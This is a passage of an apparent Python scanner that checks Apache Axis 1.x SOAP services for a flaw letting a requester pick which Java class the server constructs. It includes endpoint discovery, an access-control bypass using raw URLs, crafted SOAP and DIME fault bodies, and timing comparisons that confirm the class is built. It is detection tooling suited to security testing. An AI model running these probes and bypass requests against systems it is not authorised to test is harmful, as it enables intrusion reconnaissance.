        for i in range(1, len(parts) + 1)
        if parts[0]
    )
    # The target's own directories go before the root plan, which then skips them.
    context_plan = _context_discovery_requests(contexts, probe, set(known))
    known |= {request[:2] for request in context_plan}
    if not endpoints:
        calls = []
        for request in context_plan:
            calls.append(
                lambda request=request: _discover_one(
                    target.get,
                    target.post,
                    target.absolute_url,
                    request,
                    probe,
                    min(target.timeout, DISCOVERY_REQUEST_TIMEOUT),
                    denied,
                )
            )
        sent += len(await sweep(calls, window=DISCOVERY_BATCH_SIZE, until=found))
    if not endpoints:
        plan = [request for request in full_plan if request[:2] not in known]
        calls = []
        for request in plan:
            calls.append(
                lambda request=request: _discover_one(
                    target.get,
                    target.post,
                    target.absolute_url,
                    request,
                    probe,
                    min(target.timeout, DISCOVERY_REQUEST_TIMEOUT),
                    denied,
                )
            )
        sent += len(await sweep(calls, window=DISCOVERY_BATCH_SIZE, until=found))
    if not endpoints and denied:
        bypass_endpoints, acl_requests = await _acl_bypass(
            target,
            denied,
            probe,
            random_status,
        )
        sent += acl_requests
        endpoints.extend(bypass_endpoints)
        target.axis_acl_service_paths.update(bypass_endpoints)
    target.axis1_service_paths = list(dict.fromkeys(endpoints))[:MAX_SERVICE_ENDPOINTS]
    if target.axis1_service_paths:
        print(
            f"{target.url}: Axis 1.x service candidates after {sent}/"
            f"{2 + len({*(request[:2] for request in full_plan), *known}) + acl_requests} discovery "
            "requests: " + ", ".join(target.axis1_service_paths),
            file=sys.stderr,
        )
    return bool(target.axis1_service_paths)


def _soap_fault(class_name: str, decimal: str) -> bytes:
    # Keep control and candidate wire bodies equal in size so the timing signal
    # comes from constructor work rather than request length or upload time.
    padding = " " * max(0, len(CANDIDATE_CLASS) - len(class_name))
    return f"""<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xmlns:xsd="http://www.w3.org/2001/XMLSchema">
 <soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>probe</faultstring><detail>
  <data xsi:type="xsd:string">{decimal}</data>
  <exceptionName>{class_name}</exceptionName>{padding}
 </detail></soap:Fault></soap:Body>
</soap:Envelope>""".encode()


def _pad4(value: bytes) -> bytes:
    return value + b"\0" * (-len(value) % 4)


def _dime(payload: bytes) -> bytes:
    media_type = b"text/xml"
    # DIME v1, first and last record, media-type format, no options or record ID.
    return (
        bytes((0x0E, 0x10))
        + struct.pack(">HHHI", 0, 0, len(media_type), len(payload))
        + _pad4(media_type)
        + _pad4(payload)
    )


async def _timed_post(
    target: Target,
    path: str,
    class_name: str,
    decimal: str,
    *,
    dime: bool,
) -> float | None:
    body = _soap_fault(class_name, decimal)
    if dime:
        body = _dime(body)
    started = time.monotonic()
    try:
        request_options = {
            "headers": {
                "Content-Type": "application/dime" if dime else "text/xml; charset=utf-8",
                "SOAPAction": '""',
                "Connection": "close",
            },
            "content": body,
            "timeout": min(target.timeout, 6.0),
        }
        if path in getattr(target, "axis_acl_service_paths", set()):
            # Keep the normalization payload byte-for-byte; the detector parser's
            # visible vulnerability paths remain the canonical service catalogue.
            raw_post = target.post
            response = await raw_post(
                _acl_raw_url(target, path),
                quote=False,
                **request_options,
            )
        else:
            response = await target.post(path, **request_options)
    except Exception:
        return None
    elapsed = time.monotonic() - started
    if not _axis1_fault(response, target.absolute_url(path)):
        # The request never reached an Axis parser, so its time says nothing.
        print(
            f"{target.url}{path}: {'DIME' if dime else 'SOAP'} POST got HTTP "
            f"{response.status_code}, not an Axis SOAP fault",
            file=sys.stderr,
        )
        return None
    return elapsed


async def _constructor_timing_round(target: Target, path: str, *, dime: bool) -> bool:
    # The bodies are the same size. Only the selected Java constructor changes.
    decimal = "9" * DECIMAL_DIGITS
    first = await _timed_post(target, path, CONTROL_CLASS, decimal, dime=dime)
    if first is None:
        return False
    candidate = await _timed_post(target, path, CANDIDATE_CLASS, decimal, dime=dime)
    if candidate is None:
        return False
    second = await _timed_post(target, path, CONTROL_CLASS, decimal, dime=dime)
    if second is None:
        return False
    control = max(first, second)
    gap = candidate - control
    ratio = candidate / max(control, 0.001)
    print(
        f"{target.url}{path}: {'DIME' if dime else 'SOAP'} "
        f"controls={first:.3f}/{second:.3f}s BigInteger={candidate:.3f}s "
        f"gap={gap:.3f}s ratio={ratio:.2f}",
        file=sys.stderr,
    )
    return gap >= MIN_TIMING_GAP_SECONDS and ratio >= MIN_TIMING_RATIO


async def _constructor_timing(target: Target, path: str, *, dime: bool) -> bool:
    # Repeat a positive round so one transient network or backend stall cannot
    # turn an otherwise ordinary Axis response into a scanner finding.
    if not await _constructor_timing_round(target, path, dime=dime):
        return False
    return await _constructor_timing_round(target, path, dime=dime)


async def vulnerable(target: Target) -> bool:
    """Prove that Axis constructs an attacker-selected non-AxisFault class."""
    discovered_paths = tuple(getattr(target, "axis1_service_paths", ()))
    tested_paths: set[str] = set()
    for known_path in KNOWN_SERVICE_PATHS:
        if known_path not in discovered_paths:
            continue
        tested_paths.add(known_path)
        if await _constructor_timing(target, known_path, dime=False):
            return True
        if await _constructor_timing(target, known_path, dime=True):
            return True
    for discovered_path in discovered_paths:
        if discovered_path in tested_paths:
            continue
        if await _constructor_timing(target, discovered_path, dime=False):
            return True
        if await _constructor_timing(target, discovered_path, dime=True):
            return True
    return False


if __name__ == "__main__":
    raise SystemExit(run(fingerprint=fingerprint, vulnerable=vulnerable, timing=True))


